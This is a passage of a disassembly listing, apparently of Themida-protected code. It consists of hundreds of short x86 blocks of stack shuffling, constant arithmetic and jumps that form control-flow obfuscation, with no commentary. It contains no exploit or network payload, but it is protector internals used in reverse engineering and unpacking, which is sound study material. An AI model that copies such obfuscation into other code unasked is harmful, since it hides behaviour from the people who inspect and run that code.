loc_59CE14: ; CODE XREF: Themida_:005AB2FAj
mov ebp, 22F02BBCh
and ebp, 7B4F5739h
push edx
jmp loc_5A6D66
; ---------------------------------------------------------------------------
loc_59CE25: ; CODE XREF: Themida_:0059B4C4j
add esi, 0FFFFFFFFh
push ecx
jmp loc_596BB6
; ---------------------------------------------------------------------------
loc_59CE2E: ; CODE XREF: Themida_:0059B180j
mov eax, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_596C1A
; ---------------------------------------------------------------------------
loc_59CE3F: ; CODE XREF: Themida_:005A8016j
mov edi, 73EC62B6h
push ebp
mov ebp, esp
jmp loc_5A21C4
; ---------------------------------------------------------------------------
loc_59CE4C: ; CODE XREF: Themida_:005A820Cj
xchg ecx, [esp]
jmp loc_598E45
; ---------------------------------------------------------------------------
loc_59CE54: ; CODE XREF: Themida_:005A1928j
sub cx, ax
pop ax
xor dx, cx
pop ecx
jmp loc_596718
; ---------------------------------------------------------------------------
loc_59CE62: ; CODE XREF: Themida_:0059FAEEj
pop eax
mov cl, dl
pop edx
jmp loc_5A1E04
; ---------------------------------------------------------------------------
loc_59CE6B: ; CODE XREF: Themida_:005AA4E1j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59CE70: ; CODE XREF: Themida_:005A9B76j
mov [esp], edx
sub dword ptr [esp], 2DEF4F8Fh
pop ebx
push edx
mov edx, 2DEF4F8Fh
jmp loc_5A3CFC
; ---------------------------------------------------------------------------
loc_59CE86: ; CODE XREF: Themida_:0059924Dj
shr byte ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59CE8F: ; CODE XREF: Themida_:00596AF6j
add eax, 4
sub eax, 4
jmp loc_59B023
; ---------------------------------------------------------------------------
loc_59CE9C: ; CODE XREF: Themida_:005A2A84j
xchg esi, ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_5A7D0D
; ---------------------------------------------------------------------------
loc_59CEBB: ; CODE XREF: Themida_:005A7CE9j
push ebx
jmp loc_598F2B
; ---------------------------------------------------------------------------
loc_59CEC1: ; CODE XREF: Themida_:0059A98Cj
mov ebp, esp
add ebp, 4
jmp loc_5A975D
; ---------------------------------------------------------------------------
loc_59CECE: ; CODE XREF: Themida_:005A8562j
mov ecx, [esp]
add esp, 4
add edi, 437556FEh
add edi, ebp
jmp loc_5A4879
; ---------------------------------------------------------------------------
loc_59CEE4: ; CODE XREF: Themida_:005A38C1j
sub esp, 4
mov [esp], esi
push 7B39h
mov [esp], ebx
push ebx
mov ebx, 0FA14282h
jmp loc_59D593
; ---------------------------------------------------------------------------
loc_59CEFD: ; CODE XREF: Themida_:005A0177j
shr eax, 7
jmp loc_59DAD1
; ---------------------------------------------------------------------------
loc_59CF05: ; CODE XREF: Themida_:005A7266j
push ebx
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_59FE68
; ---------------------------------------------------------------------------
loc_59CF1F: ; CODE XREF: Themida_:00599107j
sub ebx, 2AED2036h
sub ebx, eax
add ebx, 2AED2036h
jmp loc_59E457
; ---------------------------------------------------------------------------
loc_59CF32: ; CODE XREF: Themida_:005A5759j
pop esp
jmp loc_599A88
; ---------------------------------------------------------------------------
loc_59CF38: ; CODE XREF: Themida_:005A718Dj
push ebx
add dword ptr [esp], 68C309D4h
pop edx
sub edx, 68C309D4h
mov ebx, [esp]
jmp loc_59E300
; ---------------------------------------------------------------------------
loc_59CF4F: ; CODE XREF: Themida_:0059C4ACj
pop esi
jmp loc_5A83F8
; ---------------------------------------------------------------------------
loc_59CF55: ; CODE XREF: Themida_:005AA0DEj
push edi
inc dword ptr [esp]
jmp loc_59E981
; ---------------------------------------------------------------------------
loc_59CF5E: ; CODE XREF: Themida_:00599829j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5A4D30
; ---------------------------------------------------------------------------
loc_59CF77: ; CODE XREF: Themida_:00596065j
push ebx
jmp loc_59D5B4
; ---------------------------------------------------------------------------
loc_59CF7D: ; CODE XREF: Themida_:0059E252j
pop ecx
jmp loc_59A80D
; ---------------------------------------------------------------------------
loc_59CF83: ; CODE XREF: Themida_:005A5072j
add [esp+4], edx
pop edx
push dword ptr [esp]
pop esi
add esp, 4
sub esp, 4
jmp loc_59C604
; ---------------------------------------------------------------------------
loc_59CF9A: ; CODE XREF: Themida_:0059942Ej
push edx
mov edx, esp
add edx, 4
jmp loc_5A2A37
; ---------------------------------------------------------------------------
loc_59CFA8: ; CODE XREF: Themida_:005A4D34j
mov ecx, 2
mov edi, ecx
pop ecx
sub esi, 67C22009h
push eax
mov eax, 394544BFh
add esi, 74184604h
sub esi, eax
jmp loc_5A0C30
; ---------------------------------------------------------------------------
loc_59CFC9: ; CODE XREF: Themida_:00595F42j
mov ebp, 4
sub ebx, ebp
jmp loc_5A13BA
; ---------------------------------------------------------------------------
loc_59CFD5: ; CODE XREF: Themida_:0059B037j
pop edi
jmp loc_5A7BE0
; ---------------------------------------------------------------------------
loc_59CFDB: ; CODE XREF: Themida_:005A47DBj
add edi, 3EEA776Ch
push dword ptr [esp]
pop edx
jmp loc_5A7359
; ---------------------------------------------------------------------------
loc_59CFEA: ; CODE XREF: Themida_:005A517Bj
add esi, eax
pop eax
add esi, eax
push ebx
mov ebx, 6C8B7158h
dec ebx
shl ebx, 1
and ebx, 5CA54D97h
xor ebx, 51290E36h
jmp loc_5AA5BB
; ---------------------------------------------------------------------------
loc_59D009: ; CODE XREF: Themida_:005A102Cj
mov edx, eax
pop eax
or edx, 22482087h
add edx, 26EC0FB6h
push 7484h
mov [esp], edi
mov edi, edx
mov esi, edi
mov edi, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
not esi
jmp loc_59FA39
; ---------------------------------------------------------------------------
loc_59D03A: ; CODE XREF: Themida_:0059F6A6j
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
push 2ADCh
push 1F93h
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
pop dword ptr [esp]
push eax
mov eax, 4
add [esp+4], eax
jmp loc_5A677E
; ---------------------------------------------------------------------------
loc_59D073: ; CODE XREF: Themida_:005A1254j
push ax
sub esp, 4
jmp loc_59FCA8
; ---------------------------------------------------------------------------
loc_59D07D: ; CODE XREF: Themida_:0059DDE9j
push edx
mov edx, 23E711CAh
sub eax, edx
pop edx
sub eax, 2F2D3E93h
push 7714h
mov [esp], ebp
jmp loc_5A6745
; ---------------------------------------------------------------------------
loc_59D098: ; CODE XREF: Themida_:0059671Dj
xor di, 6320h
add dx, di
pop edi
shl dx, 4
sub dx, 0A40h
sub si, 5F67h
add si, dx
add si, 5F67h
pop edx
mov cx, si
pop esi
sub ax, cx
mov cx, [esp]
jmp loc_5A3C34
; ---------------------------------------------------------------------------
loc_59D0C8: ; CODE XREF: Themida_:0059D32Cj
shr esi, 5
jmp loc_5975CF
; ---------------------------------------------------------------------------
loc_59D0D0: ; CODE XREF: Themida_:005A7BD5j
sub ecx, 4
jmp loc_59B435
; ---------------------------------------------------------------------------
loc_59D0D8: ; CODE XREF: Themida_:00597331j
add eax, 4
xchg eax, [esp]
jmp loc_59A2CB
; ---------------------------------------------------------------------------
loc_59D0E5: ; CODE XREF: Themida_:00597E17j
pop esi
push eax
mov eax, 5F872109h
sub esi, eax
pop eax
pop ecx
add esi, 7D5D00CFh
xor esi, 179D3BE6h
jmp loc_5AB082
; ---------------------------------------------------------------------------
loc_59D101: ; CODE XREF: Themida_:00597162j
sub esi, 4C0A3CE2h
mov ebx, esi
pop esi
jmp loc_59E755
; ---------------------------------------------------------------------------
loc_59D10F: ; CODE XREF: Themida_:005A0CA4j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 61CBh
jmp loc_59968C
; ---------------------------------------------------------------------------
loc_59D126: ; CODE XREF: Themida_:0059A7D6j
push dword ptr [esp]
mov ebx, [esp]
push edi
mov edi, esp
jmp loc_5A06B8
; ---------------------------------------------------------------------------
loc_59D134: ; CODE XREF: Themida_:005A7794j
mov ebx, ecx
pop ecx
jmp loc_598D0A
; ---------------------------------------------------------------------------
loc_59D13C: ; CODE XREF: Themida_:005962CFj
pop ecx
push 7DB8h
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_59F541
; ---------------------------------------------------------------------------
loc_59D158: ; CODE XREF: Themida_:005AA65Bj
pop esi
xchg edx, [esp]
pop esp
jmp loc_5A3BBE
; ---------------------------------------------------------------------------
loc_59D162: ; CODE XREF: Themida_:005A7ED7j
pop ecx
xchg esi, [esp]
mov esp, [esp]
loc_59D169: ; CODE XREF: Themida_:005975A2j
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
pop eax
push edx
push ebx
jmp loc_5985CC
; ---------------------------------------------------------------------------
loc_59D17D: ; CODE XREF: Themida_:0059C38Aj
add esp, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebx, esi
pop esi
push esi
jmp loc_5995AC
; ---------------------------------------------------------------------------
loc_59D196: ; CODE XREF: Themida_:005A8D98j
sub esp, 4
mov [esp], edx
jmp loc_5A6F8F
; ---------------------------------------------------------------------------
loc_59D1A1: ; CODE XREF: Themida_:00598C22j
mov ebp, [esp]
add esp, 4
xchg edi, [esp]
pop esp
sub esp, 4
jmp loc_5A2B26
; ---------------------------------------------------------------------------
loc_59D1B3: ; CODE XREF: Themida_:005A1829j
pop edx
push 580Eh
mov [esp], esi
sub esp, 4
mov [esp], ebp
push 77D96755h
pop ebp
jmp loc_59BD91
; ---------------------------------------------------------------------------
loc_59D1CD: ; CODE XREF: Themida_:005AAD59j
pop eax
mov bl, 0B5h
add bl, 0E4h
add bl, cl
sub bl, 0E4h
jmp loc_5989B8
; ---------------------------------------------------------------------------
loc_59D1DD: ; CODE XREF: Themida_:0059C76Ej
add edi, edx
jmp loc_5A2A2D
; ---------------------------------------------------------------------------
loc_59D1E4: ; CODE XREF: Themida_:0059E628j
shl esi, 6
jmp loc_59854F
; ---------------------------------------------------------------------------
loc_59D1EC: ; CODE XREF: Themida_:00598F41j
push 704Eh
mov [esp], edi
push 0E7Fh
mov [esp], esi
push eax
mov eax, 0FC67DB6h
shl eax, 6
add eax, 46837E84h
inc eax
shr eax, 2
shr eax, 2
push ebp
jmp loc_5A1B08
; ---------------------------------------------------------------------------
loc_59D217: ; CODE XREF: Themida_:005A6CD9j
add esp, 4
mov ebx, [esp]
push ebx
mov ebx, esp
sub esp, 4
mov [esp], edi
mov edi, 4
add ebx, edi
pop edi
add ebx, 4
jmp loc_5A1819
; ---------------------------------------------------------------------------
loc_59D23C: ; CODE XREF: Themida_:0059D716j
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59D249: ; CODE XREF: Themida_:00597613j
inc cl
push bx
jmp loc_59A133
; ---------------------------------------------------------------------------
loc_59D252: ; CODE XREF: Themida_:005A0BA1j
mov [esp], edx
push dword ptr [esp+4]
jmp loc_59DFA7
; ---------------------------------------------------------------------------
loc_59D25E: ; CODE XREF: Themida_:005A1971j
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_59BDCA
; ---------------------------------------------------------------------------
loc_59D270: ; CODE XREF: Themida_:005AAF18j
dec edx
push edx
push ebp
pop edx
mov ebp, [esp]
add esp, 4
add ebp, 0FFFFFFFFh
xchg ebp, edx
push esi
mov esi, 0D8D5FB8h
jmp loc_59E511
; ---------------------------------------------------------------------------
loc_59D28D: ; CODE XREF: Themida_:005A2231j
not dh
neg dh
xor dh, 0F2h
jmp loc_5A8DE4
; ---------------------------------------------------------------------------
loc_59D299: ; CODE XREF: Themida_:00597D09j
push 15C7h
mov [esp], edx
push ebx
mov bl, 67h
sub bl, 40h
mov dh, bl
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov ah, 3Bh
sub ah, 0FFh
jmp loc_59E242
; ---------------------------------------------------------------------------
loc_59D2C5: ; CODE XREF: Themida_:00598B08j
mov ecx, 3439299Eh
xor edx, ecx
jmp loc_59669D
; ---------------------------------------------------------------------------
loc_59D2D1: ; CODE XREF: Themida_:005A14F8j
pop edx
xor ebx, esi
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
and [edi+1Ch], ebx
pop ebx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59D2F6: ; CODE XREF: Themida_:005A3CA4j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
jmp loc_5A0E88
; ---------------------------------------------------------------------------
loc_59D305: ; CODE XREF: Themida_:005A8B31j
push ecx
mov ecx, 1E050DDEh
mov edx, 3E16884Bh
jmp loc_59F342
; ---------------------------------------------------------------------------
loc_59D315: ; CODE XREF: Themida_:0059BED1j
mov ecx, 45E5207Eh
sub ecx, 1
sub ecx, 0DB62040Ch
and ebx, ecx
pop ecx
jmp loc_5A6592
; ---------------------------------------------------------------------------
loc_59D32B: ; CODE XREF: Themida_:00597263j
pop edx
jmp loc_59D0C8
; ---------------------------------------------------------------------------
loc_59D331: ; CODE XREF: Themida_:0059961Bj
pop esp
mov [esp], esi
mov esi, esp
push ecx
mov ecx, 139336ACh
jmp loc_59AD61
; ---------------------------------------------------------------------------
loc_59D342: ; CODE XREF: Themida_:005A4506j
mov ah, 98h
add ch, ah
jmp loc_59894C
; ---------------------------------------------------------------------------
loc_59D34B: ; CODE XREF: Themida_:005A2A0Cj
pop ebx
push edi
push 7C66h
mov [esp], ebx
jmp loc_596AFB
; ---------------------------------------------------------------------------
loc_59D35A: ; CODE XREF: Themida_:0059DFA2j
mov ecx, [esp]
add esp, 4
add ecx, 4
push edx
jmp loc_598A6B
; ---------------------------------------------------------------------------
loc_59D36F: ; CODE XREF: Themida_:005A0305j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_599356
; ---------------------------------------------------------------------------
loc_59D37C: ; CODE XREF: Themida_:00597588j
mov [esp], edx
push esi
push ecx
mov ecx, 76F94D7Fh
sub esp, 4
mov [esp], ecx
push esi
mov esi, 5F872109h
sub dword ptr [esp+4], 4E773368h
add [esp+4], esi
add dword ptr [esp+4], 4E773368h
jmp loc_597E16
; ---------------------------------------------------------------------------
loc_59D3AE: ; CODE XREF: Themida_:005A7DFEj
push 738Bh
mov [esp], ebp
jmp loc_59771D
; ---------------------------------------------------------------------------
loc_59D3BB: ; CODE XREF: Themida_:0059FDA7j
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
add dword ptr [esp], 180B146Bh
pop eax
push esi
mov esi, 180B146Bh
add eax, 36AD4CDDh
sub eax, esi
sub eax, 36AD4CDDh
pop esi
push dword ptr [esp]
pop ecx
jmp loc_5A8106
; ---------------------------------------------------------------------------
loc_59D3F1: ; CODE XREF: Themida_:005A178Bj
push esp
mov edi, [esp]
add esp, 4
push 42F9h
mov [esp], ecx
jmp loc_5A6A45
; ---------------------------------------------------------------------------
loc_59D408: ; CODE XREF: Themida_:005A8A6Ej
pop ebx
add edi, ebp
jmp loc_5A0917
; ---------------------------------------------------------------------------
loc_59D410: ; CODE XREF: Themida_:005A8810j
push 52Bh
mov [esp], ecx
pop eax
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59DBBD
; ---------------------------------------------------------------------------
loc_59D424: ; CODE XREF: Themida_:005A690Ej
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
loc_59D436: ; CODE XREF: Themida_:005A5DE8j
push ebx
push eax
sub esp, 4
mov [esp], esi
jmp loc_59999A
; ---------------------------------------------------------------------------
loc_59D443: ; CODE XREF: Themida_:005AA4F9j
mov edi, 4
jmp loc_59A3D5
; ---------------------------------------------------------------------------
loc_59D44D: ; CODE XREF: Themida_:0059FC9Bj
mov ebx, 30D47829h
add eax, ebx
pop ebx
jmp loc_5A09A1
; ---------------------------------------------------------------------------
loc_59D45A: ; CODE XREF: Themida_:005A671Cj
mov edx, esp
jmp loc_5AA10D
; ---------------------------------------------------------------------------
loc_59D461: ; CODE XREF: Themida_:005A7866j
sub ebp, 0A785D81h
jmp loc_59B67D
; ---------------------------------------------------------------------------
loc_59D46C: ; CODE XREF: Themida_:005A861Bj
add edi, 3B110943h
mov esi, [esp]
add esp, 4
add eax, 7AE63724h
jmp loc_5A63C5
; ---------------------------------------------------------------------------
loc_59D482: ; CODE XREF: Themida_:005A5F7Ej
pop eax
add eax, 4
jmp loc_5A908B
; ---------------------------------------------------------------------------
loc_59D48D: ; CODE XREF: Themida_:005A1C6Ej
mov esp, [esp]
jmp loc_5A0A92
; ---------------------------------------------------------------------------
loc_59D495: ; CODE XREF: Themida_:005A025Dj
add edx, ecx
add edx, 17EF09F1h
mov ecx, [esp]
add esp, 4
jmp loc_59A47A
; ---------------------------------------------------------------------------
loc_59D4AB: ; CODE XREF: Themida_:0059B409j
mov ebx, eax
pop eax
push edi
mov edi, 3D1C6F4Ch
sub eax, edi
pop edi
sub eax, 2A8B25EFh
add eax, 3F8F0CDAh
add eax, ebx
jmp loc_5A2933
; ---------------------------------------------------------------------------
loc_59D4C8: ; CODE XREF: Themida_:005A5E34j
shl ecx, 4
neg ecx
push ecx
xchg ebx, [esp]
jmp loc_5A9F45
; ---------------------------------------------------------------------------
loc_59D4D6: ; CODE XREF: Themida_:0059861Bj
sub edi, 71A44714h
add edi, edx
add edi, 71A44714h
push esi
jmp loc_59F45E
; ---------------------------------------------------------------------------
loc_59D4EA: ; CODE XREF: Themida_:005A504Ej
add esi, 4F0920EEh
add esi, 7D1452C6h
pop eax
push dword ptr [esp]
jmp loc_598A13
; ---------------------------------------------------------------------------
loc_59D4FF: ; CODE XREF: Themida_:005A8AA8j
pop edi
push 3368h
mov [esp], edi
jmp loc_5A448D
; ---------------------------------------------------------------------------
loc_59D50D: ; CODE XREF: Themida_:005A8EC7j
add esp, 4
add esi, 4
push edi
mov edi, 73AF1ED3h
jmp loc_59CD57
; ---------------------------------------------------------------------------
loc_59D524: ; CODE XREF: Themida_:005A7E0Ej
mov [esp], edi
mov edi, 7CDA463Dh
shr edi, 5
add edi, 6E187EE3h
add esi, edi
pop edi
jmp loc_597DF1
; ---------------------------------------------------------------------------
loc_59D53D: ; CODE XREF: Themida_:005AA2CEj
mov ebp, 3BC65C83h
not ebp
jmp loc_5A7E21
; ---------------------------------------------------------------------------
loc_59D549: ; CODE XREF: Themida_:005A3321j
mov eax, esp
jmp loc_5A2CBD
; ---------------------------------------------------------------------------
loc_59D550: ; CODE XREF: Themida_:005AA5B6j
sub dword ptr [esp+4], 20E63EC1h
add [esp+4], eax
add dword ptr [esp+4], 20E63EC1h
pop eax
sub dword ptr [esp], 123B2068h
add dword ptr [esp], 60FF0AEAh
add dword ptr [esp], 1CC90F94h
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59D57F: ; CODE XREF: Themida_:00596944j
or esi, 735C06BDh
xchg eax, esi
not eax
jmp loc_5965A3
; ---------------------------------------------------------------------------
loc_59D58D: ; CODE XREF: Themida_:00596C51j
pop ebx
jmp loc_5989E0
; ---------------------------------------------------------------------------
loc_59D593: ; CODE XREF: Themida_:0059CEF8j
add [esp+4], ebx
pop ebx
mov esi, [esp]
add esp, 4
push edx
mov edx, 0FA14282h
push eax
jmp loc_5A4900
; ---------------------------------------------------------------------------
loc_59D5AD: ; CODE XREF: Themida_:005A4274j
neg dh
jmp loc_5A0122
; ---------------------------------------------------------------------------
loc_59D5B4: ; CODE XREF: Themida_:0059CF78j
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5A4112
; ---------------------------------------------------------------------------
loc_59D5C4: ; CODE XREF: Themida_:005A7195j
push 41B4h
mov [esp], eax
jmp loc_5A1E3A
; ---------------------------------------------------------------------------
loc_59D5D1: ; CODE XREF: Themida_:005A5418j
sub ecx, 6AE7B7FCh
jmp loc_5A9E4A
; ---------------------------------------------------------------------------
loc_59D5DC: ; CODE XREF: Themida_:005A58C6j
push 47E6h
mov [esp], eax
mov eax, 701C4127h
or ebp, eax
pop eax
jmp loc_5A971C
; ---------------------------------------------------------------------------
loc_59D5F1: ; CODE XREF: Themida_:005A10CAj
push ebp
mov ebp, esp
jmp loc_5A1C86
; ---------------------------------------------------------------------------
loc_59D5F9: ; CODE XREF: Themida_:00598061j
inc ebx
or ebx, 62304EC5h
sub ebx, 6F777ED3h
mov edx, ebx
pop ebx
add eax, edx
pop edx
xchg eax, [esp]
pop esp
or eax, eax
jz loc_59AF0C
push 23CAh
mov [esp], ecx
push eax
jmp loc_5A43DB
; ---------------------------------------------------------------------------
loc_59D626: ; CODE XREF: Themida_:005994EBj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
jmp loc_5A941D
; ---------------------------------------------------------------------------
loc_59D643: ; CODE XREF: Themida_:005A5654j
add al, 0Bh
jmp loc_5A31E3
; ---------------------------------------------------------------------------
loc_59D64A: ; CODE XREF: Themida_:005A82C5j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5971F0
; ---------------------------------------------------------------------------
loc_59D656: ; CODE XREF: Themida_:005A5F51j
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
sub edi, 2F5074C0h
push eax
jmp loc_5A39CE
; ---------------------------------------------------------------------------
loc_59D66F: ; CODE XREF: Themida_:005A5A13j
not ebx
add ebx, 6D7A4E89h
add edx, ebx
pop ebx
push 300Ch
mov [esp], ebx
push eax
mov eax, 1F75360Bh
mov ebx, eax
pop eax
xor edx, ebx
pop ebx
or edx, 7C2C64C9h
xor edx, 0CEDF3EA5h
xor esi, edx
mov edx, [esp]
jmp loc_5AB1EE
; ---------------------------------------------------------------------------
loc_59D6A4: ; CODE XREF: Themida_:005A2240j
mov ebp, 300267F0h
dec ebp
dec ebp
dec ebp
sub ebp, 29F50454h
xchg edi, ebp
neg edi
xchg edi, ebp
add ebp, 347367D6h
jmp loc_5997F6
; ---------------------------------------------------------------------------
loc_59D6C3: ; CODE XREF: Themida_:005A11CAj
add ecx, 4
sub ecx, 4
jmp loc_59E01B
; ---------------------------------------------------------------------------
loc_59D6D1: ; CODE XREF: Themida_:005A85B3j
push ebx
push edx
jmp loc_5AAF3B
; ---------------------------------------------------------------------------
loc_59D6D8: ; CODE XREF: Themida_:005A9717j
mov ch, 0E3h
add bl, ch
pop ecx
push cx
push ebx
mov bh, 67h
push eax
mov ah, 3Dh
mov cl, 63h
xor cl, ah
pop eax
sub cl, bh
jmp loc_596A81
; ---------------------------------------------------------------------------
loc_59D6F1: ; CODE XREF: Themida_:0059ABB1j
pop edx
sub eax, ebp
pop ebp
add edi, eax
pop eax
push edx
mov edx, edi
sub esp, 4
mov [esp], edx
pop ecx
pop edx
pop edi
push ebp
mov ebp, 56A8447Ch
jmp loc_59BEFF
; ---------------------------------------------------------------------------
loc_59D70F: ; CODE XREF: Themida_:0059DFD2j
pop ebp
add ecx, 4
jmp loc_59D23C
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2BA5h
mov [esp], edx
sub esp, 4
jmp loc_5A1312
; ---------------------------------------------------------------------------
loc_59D72F: ; CODE XREF: Themida_:005A5330j
push 755B30D2h
push dword ptr [esp]
jmp loc_5AB10A
; ---------------------------------------------------------------------------
loc_59D73C: ; CODE XREF: Themida_:00599FB0j
xor ebx, [esp]
pop esp
push dword ptr [edi+eax*4]
mov eax, [esp]
jmp loc_59F120
; ---------------------------------------------------------------------------
loc_59D74B: ; CODE XREF: Themida_:005A4E3Dj
add esp, 4
add esi, 4
xor esi, [esp]
jmp loc_5A90F2
; ---------------------------------------------------------------------------
loc_59D75F: ; CODE XREF: Themida_:005A1BE3j
push 17773E51h
pop esi
sub esi, 0E40AEB96h
mov edx, esi
pop esi
mov eax, 336C533Bh
sub eax, 7A502E36h
sub eax, 0B4D43DAh
sub eax, edx
add eax, 0B4D43DAh
push edx
mov edx, 7A502E36h
sub eax, 5C996FBAh
jmp loc_59BB3D
; ---------------------------------------------------------------------------
loc_59D794: ; CODE XREF: Themida_:005A6D6Bj
or ebp, edx
pop edx
push ebx
mov ebx, 7E3D4EBDh
and ebx, 36553A58h
sub ebx, 0F72FA25Bh
xor ebp, ebx
pop ebx
add ebx, ebp
pop ebp
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push edi
push dword ptr [esp+4]
jmp loc_596035
; ---------------------------------------------------------------------------
loc_59D7C2: ; CODE XREF: Themida_:005A290Dj
sub esp, 4
mov [esp], ebx
mov bx, 4D17h
jmp loc_5A18FC
; ---------------------------------------------------------------------------
loc_59D7D4: ; CODE XREF: Themida_:005A06A4j
add edx, 4
xchg edx, [esp]
pop esp
push esi
push 61E179D2h
jmp loc_59FB1B
; ---------------------------------------------------------------------------
loc_59D7E9: ; CODE XREF: Themida_:005A366Dj
mov ebp, esp
push ecx
mov ecx, 1CFB5E84h
sub ecx, 1CFB5E80h
sub ebp, 52232E22h
add ebp, ecx
jmp loc_598F4E
; ---------------------------------------------------------------------------
loc_59D804: ; CODE XREF: Themida_:005AAA50j
mov [esp], esi
mov esi, 46A3D4AEh
add edx, esi
pop esi
push eax
mov eax, 55767E33h
jmp loc_5A43C5
; ---------------------------------------------------------------------------
loc_59D81A: ; CODE XREF: Themida_:005976CEj
pop edi
jmp loc_59A63B
; ---------------------------------------------------------------------------
loc_59D820: ; CODE XREF: Themida_:005A5886j
pop ebp
sub edx, 6AA85CBBh
inc edx
jmp loc_5AA6E7
; ---------------------------------------------------------------------------
loc_59D82D: ; CODE XREF: Themida_:0059CD11j
add ebp, 666F246Ah
jmp loc_5A9441
; ---------------------------------------------------------------------------
loc_59D838: ; CODE XREF: Themida_:005A1BEBj
push 5A27h
mov [esp], ecx
jmp loc_5A910D
; ---------------------------------------------------------------------------
loc_59D845: ; CODE XREF: Themida_:0059D90Aj
pop ebx
sub esp, 4
mov [esp], edi
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
jmp loc_5A55F7
; ---------------------------------------------------------------------------
loc_59D866: ; CODE XREF: Themida_:0059B203j
push ecx
jmp loc_5A2128
; ---------------------------------------------------------------------------
loc_59D86C: ; CODE XREF: Themida_:0059E048j
shr ecx, 0
or eax, eax
jz loc_599B2F
push ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5A67E3
; ---------------------------------------------------------------------------
loc_59D889: ; CODE XREF: Themida_:005A7517j
mov edx, [esp]
add esp, 4
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_5A097E
; ---------------------------------------------------------------------------
loc_59D8A3: ; CODE XREF: Themida_:0059B328j
mov ebp, ebx
jmp loc_5A80F2
; ---------------------------------------------------------------------------
loc_59D8AA: ; CODE XREF: Themida_:0059C8E9j
sub edi, edx
pop edx
xchg edi, [esp]
pop esp
jmp loc_59A27B
; ---------------------------------------------------------------------------
loc_59D8B6: ; CODE XREF: Themida_:005A4797j
pop ebx
add esi, 0E46506Fh
add esi, edx
sub esi, 0E46506Fh
pop edx
sub esp, 4
mov [esp], edi
mov edi, 4
add esi, edi
jmp loc_5A6561
; ---------------------------------------------------------------------------
loc_59D8DB: ; CODE XREF: Themida_:005A5117j
push 16Dh
mov [esp], esi
mov esi, esp
push ecx
jmp loc_5A5313
; ---------------------------------------------------------------------------
loc_59D8EB: ; CODE XREF: Themida_:0059B3CDj
push edi
mov edi, 44715F82h
xor edi, 7810703Ah
jmp loc_598C91
; ---------------------------------------------------------------------------
loc_59D8FC: ; CODE XREF: Themida_:005A5233j
add edx, ebx
sub edx, 584642E3h
add edx, 2D041FDBh
jmp loc_59D845
; ---------------------------------------------------------------------------
loc_59D90F: ; CODE XREF: Themida_:0059E72Dj
and ebp, 5DD91512h
jmp loc_596E07
; ---------------------------------------------------------------------------
loc_59D91A: ; CODE XREF: Themida_:005A7B58j
add edi, 41C1501Ah
add ecx, edi
jmp loc_5A5024
; ---------------------------------------------------------------------------
loc_59D927: ; CODE XREF: Themida_:0059F079j
add ecx, 0E059A5F1h
jmp loc_59E250
; ---------------------------------------------------------------------------
loc_59D932: ; CODE XREF: Themida_:0059C062j
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_5A6695
; ---------------------------------------------------------------------------
loc_59D947: ; CODE XREF: Themida_:00597943j
pop eax
shl ebx, 3
dec ebx
jmp loc_5977CC
; ---------------------------------------------------------------------------
loc_59D951: ; CODE XREF: Themida_:005A9B5Cj
neg ebx
add ebx, 5E214A95h
sub ebx, 9DC1C902h
add eax, ebx
pop ebx
mov ebx, [esp]
push esi
jmp loc_5992F7
; ---------------------------------------------------------------------------
loc_59D96B: ; CODE XREF: Themida_:005A4F8Ej
mov [esp], esi
jmp loc_5A64C9
; ---------------------------------------------------------------------------
loc_59D973: ; CODE XREF: Themida_:00598E40j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59D978: ; CODE XREF: Themida_:005960EDj
pop ebx
push ebx
push 130Eh
jmp loc_59C884
; ---------------------------------------------------------------------------
loc_59D984: ; CODE XREF: Themida_:00596B00j
push ebx
pop edi
jmp loc_5A74EC
; ---------------------------------------------------------------------------
loc_59D98B: ; CODE XREF: Themida_:0059A9EAj
pop eax
sub ebx, eax
jmp loc_5A1468
; ---------------------------------------------------------------------------
loc_59D993: ; CODE XREF: Themida_:005A9C3Aj
push eax
mov eax, 709039C9h
sub ecx, eax
pop eax
mov esi, [esp]
add esp, 4
add ecx, 2
push ecx
push dword ptr [esp+4]
